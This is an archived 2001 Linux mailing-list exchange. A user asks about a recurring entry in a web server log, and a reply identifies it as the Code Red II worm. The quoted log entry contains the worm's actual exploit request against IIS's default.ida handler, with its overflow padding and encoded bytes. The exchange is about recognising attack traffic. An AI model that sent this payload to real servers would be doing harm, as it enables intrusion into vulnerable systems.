[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: whats this?



On Sun, 5 Aug 2001 18:48:06 +0300, Hetz Ben Hamo <hetz@kde.org> wrote:

> I see this line in my log every few minutes - anyone knows whats this?
> 
> 212.143.156.123 - - [05/Aug/2001:18:35:39 +0300] "GET 
> /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%
> u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 
>  HTTP/1.0" 404 271

Have you been living under a rock? This is the Code Red II worm.
-- 
Moshe Zadka - http://moshez.geek
(if you're not cool, http://moshez.org is still working)

=================================================================
To unsubscribe, send mail to linux-il-request@linux.org.il with
the word "unsubscribe" in the message body, e.g., run the command
echo unsubscribe | mail linux-il-request@linux.org.il